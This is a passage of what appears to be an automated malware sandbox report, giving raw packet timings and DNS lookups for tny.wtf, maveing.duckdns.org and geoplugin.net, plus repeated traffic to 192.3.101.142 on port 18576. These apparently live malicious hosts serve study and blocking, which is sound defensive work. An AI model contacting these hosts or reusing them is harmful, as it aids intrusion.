                    Jul 26, 2024 13:19:23.282300949 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.282696962 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.283103943 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.283123016 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.283138037 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.283153057 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.283163071 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.283176899 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.283190012 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.283210039 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.316232920 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.316246986 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.316262007 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.316328049 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.317449093 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317465067 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317477942 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317495108 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.317502022 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317513943 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.317527056 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317539930 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317554951 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317569971 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.317578077 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317588091 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.317600012 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317615032 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.317653894 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.318348885 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318363905 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318377018 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318391085 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318402052 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.318416119 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318434954 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318443060 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.318455935 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318497896 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.318614006 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318629980 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318644047 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318659067 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318667889 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.318681002 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318696976 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318711042 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.318722010 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.319473982 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.319489002 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.319499016 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.319513083 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.319521904 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.319536924 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.319550991 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.319561005 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.319574118 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.319613934 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.320324898 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.320339918 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.320353985 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.320369005 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.320384979 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.320395947 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.320409060 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.320422888 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.320436954 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.320447922 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.321420908 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.322316885 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322331905 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322346926 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322360992 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322372913 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.322386026 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322400093 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322413921 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322424889 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.322437048 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322451115 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322465897 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322477102 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.322489977 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322504044 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322519064 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322530031 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.322952986 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322968960 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322983027 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.322993040 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.323008060 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323020935 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323035955 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323046923 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.323060036 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323092937 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.323369026 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.323565960 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323580980 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323595047 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323610067 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323621988 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.323635101 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323647976 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.323661089 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323674917 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323688984 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323704004 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.323714972 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.323740959 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.324440956 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.324456930 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.324470997 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.324506998 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.324515104 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.324527979 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.325802088 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.330800056 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.330854893 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.330910921 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.330925941 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.330974102 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.331140995 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.331187963 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.331212997 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.331254959 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.331621885 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.331638098 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.331680059 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.371490955 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.371507883 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.371522903 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.371563911 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.371922016 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.371937990 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.371953964 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.371967077 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.371978998 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.371989012 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.372478008 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.372504950 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.372523069 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.372538090 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.372548103 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.372561932 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.372575998 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.373369932 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373383045 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373397112 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373416901 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373426914 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.373441935 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373455048 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373469114 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373481035 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.373512030 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.373910904 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373925924 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373939991 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373954058 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373960972 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373966932 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.373979092 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.373995066 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.374043941 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.374706984 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.374722958 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.374757051 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.406513929 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.406528950 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.406544924 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.406596899 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.406658888 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.406708002 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.406732082 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.406747103 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.406761885 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.406785965 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.407398939 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.407413960 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.407428980 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.407443047 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.407454967 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.407469988 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.407484055 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.407495022 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.407509089 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.407548904 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.408374071 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.408390045 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.408404112 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.408420086 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.408430099 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.408443928 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.408509016 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.408705950 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.408720970 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.408735037 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.408750057 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.408761024 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.408773899 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.409090996 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.409104109 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.409462929 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.409477949 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.409492016 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.409503937 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.409514904 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.409529924 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.409543991 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.409553051 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.409567118 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.409591913 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.410310030 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.410325050 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.410339117 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.410353899 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.410363913 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.410376072 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.410392046 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.410403013 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.410414934 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.410459995 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.410780907 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.411673069 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:23.615247965 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:23.698322058 CEST8049173178.237.33.50192.168.2.22
                    Jul 26, 2024 13:19:23.703614950 CEST4917380192.168.2.22178.237.33.50
                    Jul 26, 2024 13:19:28.760827065 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:28.778985977 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.779021025 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.779190063 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:28.784161091 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.784171104 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.784178972 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.784250975 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:28.785537958 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.787614107 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:28.789427042 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.789539099 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.789546967 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.789555073 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.789557934 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:28.789611101 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.789621115 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.800123930 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.801049948 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.801322937 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.801330090 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.801714897 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.801852942 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:28.809484005 CEST1857649172192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:28.811625957 CEST4917218576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:29.365413904 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:29.369890928 CEST4917118576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:29.375113010 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:59.644504070 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:19:59.646111012 CEST4917118576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:19:59.652080059 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:20:27.201303959 CEST4917380192.168.2.22178.237.33.50
                    Jul 26, 2024 13:20:27.513077974 CEST4917380192.168.2.22178.237.33.50
                    Jul 26, 2024 13:20:28.215069056 CEST4917380192.168.2.22178.237.33.50
                    Jul 26, 2024 13:20:29.416517973 CEST4917380192.168.2.22178.237.33.50
                    Jul 26, 2024 13:20:29.823422909 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:20:29.829488993 CEST4917118576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:20:29.834340096 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:20:31.915745020 CEST4917380192.168.2.22178.237.33.50
                    Jul 26, 2024 13:20:36.717108965 CEST4917380192.168.2.22178.237.33.50
                    Jul 26, 2024 13:20:46.311788082 CEST4917380192.168.2.22178.237.33.50
                    Jul 26, 2024 13:20:55.986560106 CEST4916580192.168.2.22188.114.96.3
                    Jul 26, 2024 13:20:55.986560106 CEST4916680192.168.2.22188.114.96.3
                    Jul 26, 2024 13:20:59.973437071 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:20:59.974551916 CEST4917118576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:20:59.979546070 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:21:07.075510025 CEST4916780192.168.2.22188.114.97.3
                    Jul 26, 2024 13:21:30.356326103 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:21:30.357764959 CEST4917118576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:21:30.364495993 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:22:00.786735058 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:22:00.791306019 CEST4917118576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:22:00.796278000 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:22:31.182917118 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:22:31.184302092 CEST4917118576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:22:31.189332962 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:23:01.435729027 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:23:01.437566042 CEST4917118576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:23:01.442565918 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:23:31.607491016 CEST1857649171192.3.101.142192.168.2.22
                    Jul 26, 2024 13:23:31.608130932 CEST4917118576192.168.2.22192.3.101.142
                    Jul 26, 2024 13:23:31.613347054 CEST1857649171192.3.101.142192.168.2.22

                    UDP Packets

                    TimestampSource PortDest PortSource IPDest IP
                    Jul 26, 2024 13:18:50.921292067 CEST5456253192.168.2.228.8.8.8
                    Jul 26, 2024 13:18:51.024512053 CEST53545628.8.8.8192.168.2.22
                    Jul 26, 2024 13:18:56.204396963 CEST5291753192.168.2.228.8.8.8
                    Jul 26, 2024 13:18:56.211548090 CEST53529178.8.8.8192.168.2.22
                    Jul 26, 2024 13:19:00.319262981 CEST6275153192.168.2.228.8.8.8
                    Jul 26, 2024 13:19:00.327651978 CEST53627518.8.8.8192.168.2.22
                    Jul 26, 2024 13:19:00.329243898 CEST5789353192.168.2.228.8.8.8
                    Jul 26, 2024 13:19:00.338716030 CEST53578938.8.8.8192.168.2.22
                    Jul 26, 2024 13:19:07.074651003 CEST5482153192.168.2.228.8.8.8
                    Jul 26, 2024 13:19:07.352638960 CEST53548218.8.8.8192.168.2.22
                    Jul 26, 2024 13:19:07.354393005 CEST5471953192.168.2.228.8.8.8
                    Jul 26, 2024 13:19:07.372755051 CEST53547198.8.8.8192.168.2.22
                    Jul 26, 2024 13:19:19.506262064 CEST4988153192.168.2.228.8.8.8
                    Jul 26, 2024 13:19:20.522202015 CEST4988153192.168.2.228.8.8.8
                    Jul 26, 2024 13:19:20.607166052 CEST53498818.8.8.8192.168.2.22
                    Jul 26, 2024 13:19:21.728992939 CEST53498818.8.8.8192.168.2.22
                    Jul 26, 2024 13:19:22.062793016 CEST5499853192.168.2.228.8.8.8
                    Jul 26, 2024 13:19:22.073112011 CEST53549988.8.8.8192.168.2.22

                    ICMP Packets

                    TimestampSource IPDest IPChecksumCodeType
                    Jul 26, 2024 13:19:21.729082108 CEST192.168.2.228.8.8.8d019(Port unreachable)Destination Unreachable

                    DNS Queries

                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                    Jul 26, 2024 13:18:50.921292067 CEST192.168.2.228.8.8.80x6aa4Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                    Jul 26, 2024 13:18:56.204396963 CEST192.168.2.228.8.8.80x842dStandard query (0)tny.wtfA (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:00.319262981 CEST192.168.2.228.8.8.80xf70dStandard query (0)tny.wtfA (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:00.329243898 CEST192.168.2.228.8.8.80x53e9Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:07.074651003 CEST192.168.2.228.8.8.80xc083Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:07.354393005 CEST192.168.2.228.8.8.80x1100Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:19.506262064 CEST192.168.2.228.8.8.80xb754Standard query (0)maveing.duckdns.orgA (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:20.522202015 CEST192.168.2.228.8.8.80xb754Standard query (0)maveing.duckdns.orgA (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:22.062793016 CEST192.168.2.228.8.8.80x2e3dStandard query (0)geoplugin.netA (IP address)IN (0x0001)false

                    DNS Answers

                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                    Jul 26, 2024 13:18:51.024512053 CEST8.8.8.8192.168.2.220x6aa4No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:18:51.024512053 CEST8.8.8.8192.168.2.220x6aa4No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:18:56.211548090 CEST8.8.8.8192.168.2.220x842dNo error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:18:56.211548090 CEST8.8.8.8192.168.2.220x842dNo error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:00.327651978 CEST8.8.8.8192.168.2.220xf70dNo error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:00.327651978 CEST8.8.8.8192.168.2.220xf70dNo error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:00.338716030 CEST8.8.8.8192.168.2.220x53e9No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                    Jul 26, 2024 13:19:00.338716030 CEST8.8.8.8192.168.2.220x53e9No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
